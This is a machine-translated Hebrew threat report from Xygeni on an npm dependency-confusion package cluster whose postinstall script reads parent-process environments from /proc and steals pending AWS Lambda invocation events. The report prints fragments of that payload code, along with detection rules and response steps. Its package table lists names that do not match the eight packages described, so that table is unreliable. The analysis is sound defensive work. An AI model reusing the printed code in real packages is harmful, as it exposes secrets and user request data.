TL; DR
בין ה-6 במאי ל-7 במאי 2026, מפרסם npm יחיד, pelavelle, דחפה שמונה חבילות ללא תלות תוך שימוש בשמות שעקבו אחר אותה תבנית פנימית: 24712-pl*.
החבילות הכלולות 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2, ו 24712-plv3הקידומת הממוספרת מרמזת בחוזקה על התקפת בלבול תלות ב-npm כנגד מרחב שמות חבילה פנימי או סכימת מזהה חבילה.
כל שמונה חבילות האחיות כבר לא פורסמו מ-npm על ידי המוציא לאור בין 2026-05-06T21:52Z ו 2026-05-07T00:31Zמטא-נתונים ישירים של הרישום אישרו שקובצי ה-tarball מחזירים כעת HTTP 404.
עם זאת, האשכול עדיין חשוב.
המדגם הקנוני, 24712-pl5006:0.0.1, מכיל א postinstall.js סקריפט שפועל במהלך npm installבמקום לגנוב משתני סביבה גנריים, הוא מחפש ספציפית AWS_LAMBDA_RUNTIME_API, משתנה הסביבה בו משתמשים זמני ריצה של AWS Lambda.
אם הסקריפט מוצא AWS_LAMBDA_RUNTIME_API, הוא קורא לנקודת הקצה של Lambda Runtime API:
קריאה זו מנסה לצרוך את אירוע הפעלת ה-Lambda הממתין הבא לפני שמטפל ה-Lambda הלגיטימי יוכל לעבד אותו.
האירוע שנלכד, כולל כותרות, מזהה בקשה, הקשר חשבון ועד 8 KB של גוף הבקשה, נשלח לאחר מכן לנקודת קצה של טלפון-בית הנשלטת על ידי התוקף דרך הסקריפט. phoneHome() פונקציה.
מערכת התרעה מוקדמת מפני תוכנות זדוניות (MEW) של Xygeni סיווגה את הדגימה הקנונית ככזו שכנראה זדונית עם ציון של 91.3/100.
אנחנו עוקבים אחרי זה כ- התקפת בלבול תלות ב-npm עם התנהגות חטיפת זמן ריצה של AWS Lambda.
האשכול: שמונה חבילות, מו"ל אחד
חשבון המוציא לאור pelavelle השתמשתי בכתובת הדוא"ל:
pelavelle@clovercode.com
לחשבון היה כתובת דוא"ל לא מאומתת, לא SCM אימות, וציון מוניטין נמוך של 5.
המוציא לאור הוציא שמונה חבילות קשורות בחלון זמן קצר בין 2026-05-06 20:45Z ל-22:36Z. שמות החבילות עוקבים אחר אותה צורה:
24712-pl*
דפוס זה הוא הסימן המרכזי. זה לא נראה כמו כלי עזר ציבורי למפתחים. במקום זאת, זה נראה כמו סכמת מתן שמות פנימית לחבילות.
| # | חֲבִילָה | גרסה זדונית | נוצר, UTC | לא פורסם, UTC | מטען אושר | התקנת וו |
|---|---|---|---|---|---|---|
| 1 | חוקר קוסמוס | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | משוער, אותו מו"ל / אשכול | התקנה מוקדמת, משוערת |
| 2 | signalsdk-web | 1.0.0, 10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | מוּסָק | התקנה מוקדמת, משוערת |
| 3 | ms.analytics-web | 99.0.0, 99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | מוּסָק | התקנה מוקדמת, משוערת |
| 4 | אייקונים שנוצרו | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | מוּסָק | התקנה מוקדמת, משוערת |
| 5 | מעקב אחר השהייה | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | מוּסָק | התקנה מוקדמת, משוערת |
| 6 | מעקב-השהייה-פנימי | גרסאות שהוסרו מרשומת הרישום | 2026-05-06T06:02Z | 2026-05-06T08:35Z | מוּסָק | התקנה מוקדמת, משוערת |
| 7 | קרבוניטאפ | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | כן, זרימת קוד מלאה של הסורק | התקנה מוקדמת: node index.js |
| 8 | קרבוניט פנימי | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | כן, זרימת קוד מלאה של הסורק | התקנה מוקדמת: node index.js |
סך כל הגרסאות ברחבי האשכול: 19 טאפלים של חבילת גרסאות.
המדגם הקנוני, 24712-pl5006:0.0.1, פורסם בתאריך 2026-05-06T22:36:34Z ונסרק על ידי ה-MEW של קסיגני pipeline לפני ביטול הפרסום של האירוע.
הוא הכיל ארבעה קבצים, כולל package/postinstall.js, עם 3,335 בייטים של מקור כולל.
הקנוני commit ה-hash היה:
83e0efbfd110abb2398a06196fb698565a3f6cc6
למה תבנית השם חשובה
שמות החבילות הם האינדיקטור החזק ביותר לכוונה.
כולם מתחילים באותה קידומת:
24712-pl
לאחר מכן הם מוסיפים סיומות מספריות או דמויות גרסה:
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
זה לא דומה למתן שמות רגיל של npm ציבורי. זה נראה כמו קידומת פנימית של מרחב שמות או סכימת מזהה חבילה פנימית.
זה הופך את האשכול לעקבי עם התקפת בלבול תלות ב-npm.
בהתקפת בלבול תלויות, התוקף מפרסם חבילה ציבורית עם שם התואם, או שנראה תואם, לתלות פנימית. אם מנהל החבילות או סביבת הבנייה של היעד פותרים את החבילה הציבורית במקום את הפרטית, קוד הנשלט על ידי התוקף פועל בתוך סביבת היעד.
OWASP מתאר בלבול תלויות כווקטור תקיפה שמערים על מנהלי חבילות ופרוקסי להביא חבילה ציבורית זדונית במקום החבילה הפנימית המיועדת בעלת אותו שם.
לקבלת הקשר מעמיק יותר על אופן פעולת סוג זה של התקפה, עיינו במדריך של Xygeni בנושא חוסר הצמדת גרסאות ובלבול תלויות והפוסט שלנו בנושא זיהוי וניהול של התקפות תלות בתוכנה.
מה קורה בזמן ההתקנה
החבילה הקנונית מכריזה על א postinstall וו:
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
השמיים postinstall מחזור חיים הוא חלק ממערכת סקריפטי החבילות של npm. התיעוד של npm מסביר שחבילות יכולות להגדיר סקריפטי מחזור חיים ב- package.json, כולל אירועי מחזור חיים מובנים של ההתקנה.
השמיים || true חשוב.
הוא בולע שגיאות כך שההתקנה עדיין תצליח גם אם החטיפה נכשלת. זה עוזר לחבילה להימנע משבירת הבנייה ומפחית את הסיכוי שמפתחים או מערכות CI יבחינו בהתנהגות הזדונית באמצעות התקנה כושלת.
המטען פועל במהלך npm installאין צורך בייבוא למפתחים. אין צורך לקרוא לחבילה בנתיב היישום.
ההתקנה עצמה מספיקה.
התנהגות מטען: חטיפת זמן ריצה של למבדה
השמיים postinstall.js הסקריפט מבצע רצף ממוקד.
ראשית, הוא קורא את סביבת התהליך האב מלינוקס /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
לאחר מכן הוא מחלץ את נקודת הקצה של זמן הריצה של AWS Lambda:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
אם נמצא ממשק ה-API של זמן הריצה, הסקריפט מאחסן אותו:
runtimeApi = match[1];
לאחר מכן, הוא שולח משואה ראשונה דרך phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
המשואה הראשונה הזו מדליפה את נקודת הקצה של API זמן הריצה של Lambda.
לאחר מכן הסקריפט מנתח את מארח ה-API והפורט של זמן הריצה:
const [host, portStr] = runtimeApi.split(':');
לבסוף, הוא קורא לנתיב ה-API של AWS Lambda Runtime המשמש לאחזור הקריאה הבאה:
http.request({
host,
port,
path: '/2018-06-01/runtime/invocation/next',
method: 'GET',
timeout: 90000
}, ...);
זהו ליבת ההתקפה.
הסקריפט מנסה לצרוך את אירוע הקריאה הבא של Lambda לפני שמטפל ה-Lambda הלגיטימי יוכל לעבד אותו. מדריך זמן הריצה המותאם אישית של AWS מתאר גם את שלב "קבל אירוע" כקריאה לממשק ה-API של הקריאה הבאה.
מה שמסנן
אם הסקריפט לוכד קריאה, הוא שולח את התוצאה לנקודת הקצה של טלפון-בית הנשלטת על ידי התוקף.
השדות המסוננים כוללים:
| שדה | משמעות |
|---|---|
step | שלב הביצוע, כגון waiting, next_error, או captured |
runtimeApi | נקודת קצה של API זמן ריצה של Lambda |
accountSid | הקשר של חשבון AWS שנלכד |
requestId | מזהה בקשת הפעלה של למבדה |
isOwnAccount | השוואה בוליאנית מול ערך החשבון המוגדר של הסקריפט |
statusCode | סטטוס תגובת API בזמן ריצה |
headers | כותרות תגובת קריאה |
body | גוף הקריאה שנלכד, חתוך ל-8,000 תווים |
קריאת החילוץ המרכזית היא phoneHome(data) פונקציה, אשר מקודדת את הנתונים באמצעות JSON ושולחת אותם דרך HTTP POST.
כתובת היעד המדויקת של טלפון-בית לא נשמרה בראיות הקצוצות הזמינות. לכן, npm צריך לשמור את קובץ ה-tarball שלא פורסם באופן פנימי כך שניתן יהיה לחלץ את קובץ המארח C2 לפני המחיקה הסופית.
למה זה מסוכן
זה לא משואת npm כללית.
המטען מתוכנן סביב AWS למבדה מודל ביצוע.
אם חבילה פגיעה מותקנת בתוך סביבת ביצוע של Lambda, כגון במהלך בניית תמונת פריסה, התקנת שכבת Lambda או תהליך עטיפת init, הסביבה עלולה לחשוף AWS_LAMBDA_RUNTIME_API.
ברגע שהסקריפט מקבל את הערך הזה, הוא יכול לקרוא ל:
/2018-06-01/runtime/invocation/next
נקודת קצה זו מחזירה את אירוע ההפעלה הממתין הבא.
כתוצאה מכך, התוקף עשוי להיות מסוגל ללכוד:
- גופי בקשה
- כותרות
- מזהי בקשה
- הקשר של חשבון AWS
- נתוני בקשה חתומים
- פרטים אישיים של הלקוח
- נתוני אירוע S3
- מטענים ספציפיים ליישום
- הקשר שירות פנימי
ייתכן שהמטפל הלגיטימי לעולם לא יראה את האירוע שנצרך.
זה הופך סקריפט התקנה של npm לפרימיטיב יירוט אירועי Lambda.
אפילו אם החבילה לעולם לא נוחתת בסביבת למבדה אמיתית, ההתנהגות עדיין יכולה לדלוף הקשר שימושי ממערכות פיתוח או CI. /proc/<pid>/environ עשוי לחשוף משתני סביבה הקיימים בתהליכי אב, שיכולים לכלול מפתחות AWS, כתובות URL של מסד נתונים, אסימוני CI או אישורי פריסה.
זו הסיבה שסריקת תלות אינה יכולה להיעצר ב-CVEs ידועים. צוותים זקוקים גם לזיהוי חבילות זדוניות, ניתוח סקריפטי התקנה ואכיפת מדיניות רישום. להנחיות קשורות, קראו מדוע סריקת תלויות חשובה לצוותי DevOps ו הגנה מפני תוכנות זדוניות: מדוע אנטי-וירוס לא יכול לעצור התקפות בשרשרת האספקה.
סיווג Xygeni MEW
Xygeni MEW סרק את הדגימה הקנונית 24712-pl5006:0.0.1 לפני ביטול הפרסום של האירוע.
הסורק החזיר:
91.3 / 100
probablyMalicious
threshold: 80
הראיות כללו שלושה פריטים קריטיים ופריט אחד של רמת "גבוהה" שאישרו את זרימת הנתונים של חטיפת זמן הריצה של Lambda.
| חומרה | עדות | משמעות |
|---|---|---|
| קריטי | /proc/<pid>/environ לקרוא | קורא את סביבת תהליך האב |
| קריטי | AWS_LAMBDA_RUNTIME_API הוֹצָאָה | מטרות לנקודת קצה בזמן ריצה של Lambda |
| קריטי | /runtime/invocation/next לבקש | ניסיונות לצרוך אירוע קריאה אמיתי של למבדה |
| גָבוֹהַ | postinstall תסריט | פועל במהלך התקנת npm |
ההתנהגות ספציפית מאוד ובעלת השפעה רבה. החבילה אינה זקוקה לתכונות רחבות של תוכנות זדוניות מכיוון שנקודת הקצה של זמן הריצה של Lambda כבר מהווה מטרה רבת עוצמה.
Xygeni MEW מיועד למקרים מסוג זה: זיהוי התנהגות חשודה וזדונית של חבילות לפני שהיא הופכת לאירוע במורד הזרם. לקבלת תמונה רחבה יותר של דפוסי האיומים הנוכחיים של npm ו-PyPI, ראה מבט מקרוב על מתקפות שרשרת אספקה של תוכנה בשנת 2025.
למה דפוס ביטול הפרסום העצמי חשוב
כל שמונה החבילות בוטלו מהמוציא לאור תוך חלון זמן קצר.
התנהגות זו חשודה בהקשר זה.
האשכול הופיע, רץ אם נבחר על ידי נתיב פתרון תלות פגיע, ולאחר מכן נעלם. זה עולה בקנה אחד עם ניקוי תוקף לאחר הוכחת היתכנות מוצלחת או בוטלה, או לאחר שארגון היעד שם לב לבעיה.
ביטול פרסום יוצר פער נראות עבור מגינים.
ייתכן שנתוני npm ציבוריים לא יכללו עוד את קבצי ה-tarball. לא ניתן להוריד מחדש חלק מגרסאות החבילות. עם זאת, בסביבות המושפעות עדיין עשויים להיות עותקים שמורים במטמון, הפניות לקובצי נעילה, יומני CI או ארטיפקטים של מנהל החבילות.
זו הסיבה ששימור בצד הרישום חשוב.
npm צריך לשמור את קבצי ה-tarball שלא פורסמו באופן פנימי מספיק זמן כדי לחלץ את כתובת ה-URL המדויקת של טלפון-בית, לאשר את זהות המטען של אחים ולתמוך בתגובה לאירועים.
אינדיקטורים של פשרה וגילוי
מו"ל וחשבון
| שדה | ערך |
|---|---|
| שם משתמש של npm | pelavelle |
| דוא"ל של מפרסם npm | pelavelle@clovercode.com |
| אימייל מאומת | לא |
| SCM מְאוּמָת | לא |
| ציון המוניטין של המוציא לאור | 5 |
| דפוס מתן שמות לחבילות | ^24712-pl[0-9a-z]+$ |
| קידומת פנימית של מרחב השמות | 24712-pl |
שמות חבילות מושפעות
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
דוגמה קנונית
| שדה | ערך |
|---|---|
| חֲבִילָה | 24712-pl5006 |
| גִרְסָה | 0.0.1 |
| יצא לאור | 2026-05-06T22:36:34Z |
| Commit שירים | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| UUID של סריקת Xygeni | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| ציון | 91.3 / 100 |
| פסק דין | probablyMalicious |
התקנת וו
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
אינדיקטורים של זמן ריצה של למבדה
שדות מטען מסוננים
step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
הגוף פרוס ל-8,000 תווים.
הערות גילוי
מספר כללים יכולים לתפוס את זה התקפת בלבול תלות ב-npm ווריאציות אפשריות.
ראשית, סמן סקריפטים להתקנת npm שקוראים את סביבת התהליך האב מ /proc:
/proc//environ
זוהי לעיתים רחוקות התנהגות לגיטימית עבור תלות npm במהלך ההתקנה.
שנית, התראה על סקריפטים להתקנת חבילות המתייחסים ל:
AWS_LAMBDA_RUNTIME_API
אין לגשת למשתנה סביבה זה על ידי חבילות npm של צד שלישי במהלך ההתקנה.
שלישית, חסמו או סקרו סקריפטים להתקנה שקוראים ל:
/2018-06-01/runtime/invocation/next
זוהי נקודת הקצה של API זמן הריצה של AWS Lambda לקבלת הקריאה הבאה. לסקריפט התקנת תלות אין סיבה לגיטימית לצרוך אותו.
רביעית, חפשו הפניות לקובצי נעילה של שמות החבילות המושפעים:
package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
כל התאמה צריכה להפעיל סקירת בלבול תלויות.
חמישית, התראה על ביטוי רגולרי של שם החבילה:
^24712-pl[0-9a-z]+$
במיוחד כאשר המוציא לאור הוא ציבורי, בעל מוניטין נמוך, לא מאומת, או מחוץ למרשם הפנימי הצפוי.
לבסוף, הוסיפו CI/CD guardrails סביב סקריפטי התקנה. זה חשוב במיוחד מכיוון שסקריפטי מחזור חיים של npm יכולים להתבצע במהלך התקנת החבילה, לפני שמפתחים מייבאים משהו. למידע נוסף על CI/CD דפוסי גילוי, ראה Xygeni's 10 האינדיקטורים המובילים לפשרה ב CI/CD Pipelines ו אבטחה Guardrails ל CI/CD Pipelines.
פעולות רישום מוצעות
אשכול זה כבר לא פורסם בזמן הדיווח, אך ביטול הפרסום אינו מסיר את הסיכון.
פעולות מומלצות בצד ה-npm:
- אשר האם ביטול הפרסומים היה ניקוי שיזם התוקף ולא פעולה לגיטימית של המתחזק.
- השעיה או חסימה של חשבון המוציא לאור
pelavelle. - להוסיף
pelavelle@clovercode.com, שמות החבילות, והביטוי הרגולרי של שם החבילה לרשימות חסימה של npm ושל שרשרת האספקה. - שמור קבצי tarball שלא פורסמו באחסון פנימי לצורך זיהוי פלילי.
- לחלץ את המדויק
phoneHome()כתובת אתר יעד מקבצי ה-tarball של החבילה שנשמרו. - ודא אם כל החבילות האחות חולקות את אותו מטען.
- הודע לארגונים שנפגעו אם טלמטריה של הורדת או התקנה של חבילה מצביעה על חשיפה.
רשימת תיוג לתגובה לפשרה
אם חבילה מושפעת כלשהי הופיעה בקבצי נעילה, יומני CI, מטמוני חבילות, שכבות למבדה, תמונות פריסה או ארטיפקטים של בנייה, יש להתייחס אליה כאל אירוע ביצוע פוטנציאלי של בלבול תלויות.
תגובה מומלצת:
- זהה היכן הותקנה החבילה: תחנת עבודה מקומית, רץ CI, בניית שכבת Lambda, תמונת פריסה או סביבת זמן ריצה.
- שמור קבצי נעילה, מטמון npm, יומני בנייה, ארטיפקטים של פריסה ושכבות תמונת מכולה.
- בדוק האם ההתקנה בוצעה בסביבה שבה
AWS_LAMBDA_RUNTIME_APIנקבע. - סקור יומני HTTP יוצאים עבור נתונים לא ידועים
phoneHome()יעדים במהלך חלון ההתקנה. - ביקורת על יומני קריאת Lambda לאיתור אירועים שהושמטו, חסרים או חריגים.
- סובב סודות שנחשפים לסביבת ההתקנה, במיוחד מפתחות AWS, אסימוני CI, אישורי פריסה וכתובות URL של מסד נתונים.
- סקור שכבות למבדה ותמונות פריסה עבור עותקים המאוחסנים במטמון של החבילה.
- אכיפת הצמדת רישום פרטית עבור קידומות חבילה פנימיות.
- חסום רזולוציית npm ציבורית עבור שמות חבילות שנראים פנימיים.
- להוסיף guardrails ל
preinstall,install, וpostinstallתסריטים.
כיצד Xygeni מסייע בזיהוי מוקדם יותר
קמפיין זה הוא בדיוק מסוג המקרים שבהם צוותי אבטחה זקוקים ליותר מסריקת פגיעויות מסורתית.
ייתכן שאין CVEייתכן שאין גרסה פגיעה ידועה. ייתכן שאין חבילה ארוכת טווח לבדיקה לאחר שהמפרסם ינקה.
במקום זאת, צוותים זקוקים לנראות בזמן אמת על התנהגות החבילות.
Xygeni מסייע על ידי שילוב של:
- זיהוי מוקדם של תוכנות זדוניות ברישומים ציבוריים.
- זיהוי תלות חשודה עבור בלבול תלויות ו-typosquatting.
- ניתוח סקריפט התקנה עבור
preinstall,install, וpostinstallהתנהגויות. - CI/CD guardrails לחסום חבילות מסוכנות לפני שהן מגיעות לסביבות בנייה או פריסה.
- נראות שרשרת אספקה של תוכנה על פני תלות, pipelineים, וחפצים.
- אכיפת מדיניות עבור שמות חבילות פנימיים וחבילות ציבוריות לא מהימנות.
זה משנה בגלל ההשפעה של התקפת בלבול תלות ב-npm אינו מוגבל למחשבים ניידים של מפתחים. הוא יכול להגיע למחשבי CI, לבנות תמונות, שכבות Lambda, מכולות פריסה וסביבות צמודות לזמן ריצה.
להקשר רחב יותר של AppSec ושרשרת אספקה, ראה staerteR evitucexE SCAאבטחת שרשרת האספקה של התוכנה שלך ו Software Supply Chain Security אוטומציה.
מה שמגנים צריכים לקחת איתם
קמפיין זה מראה כיצד בלבול תלויות יכול להתרחב מעבר לאיתות בסיסיות של הוכחת ביצוע.
המטען לא רק מאשר את זה npm install רץ. הוא מנסה לקיים אינטראקציה עם API זמן הריצה של AWS Lambda וללכוד אירוע הפעלה אמיתי.
זוהי הסלמה משמעותית.
עבור צוותים המשתמשים בשרת ללא שרת, פתרון תלויות הוא חלק ממודל האיומים בזמן ריצה. חבילת npm ציבורית עם שם שנראה פנימי יכולה להפוך לנתיב להקשר ביצוע של Lambda, נתוני בקשה ומטא-דאטה של חשבון ענן.
הלקח המרכזי ברור: יש להגן על קידומות חבילה פנימיות, להגדיר אותן ולהצמיד אותן לרישומים מהימנים. יש להתייחס לסקריפטי התקנה כאל משטח תקיפה בר ביצוע, במיוחד ב... CI/CD, בניית מכולות, שכבות למבדה ופריסה pipelines.
CISההנחיות של A בנוגע לשרשרת אספקה של תוכנה מדגישות את הצורך להגן על תוכנה, להפעיל בדיקות אבטחה ולהגיב לפגיעויות באופן רציף לאורך תהליך הפיתוח. במקרה זה, פירוש הדבר הוא התייחסות לפתרון חבילות, סקריפטים של חבילות וסביבות בנייה ללא שרת כבקרות אבטחה מהשורה הראשונה.
דווח ל-npm לצורך אכיפה ברמת החשבון, רישום חסימות ושימור tarball שלא פורסם.







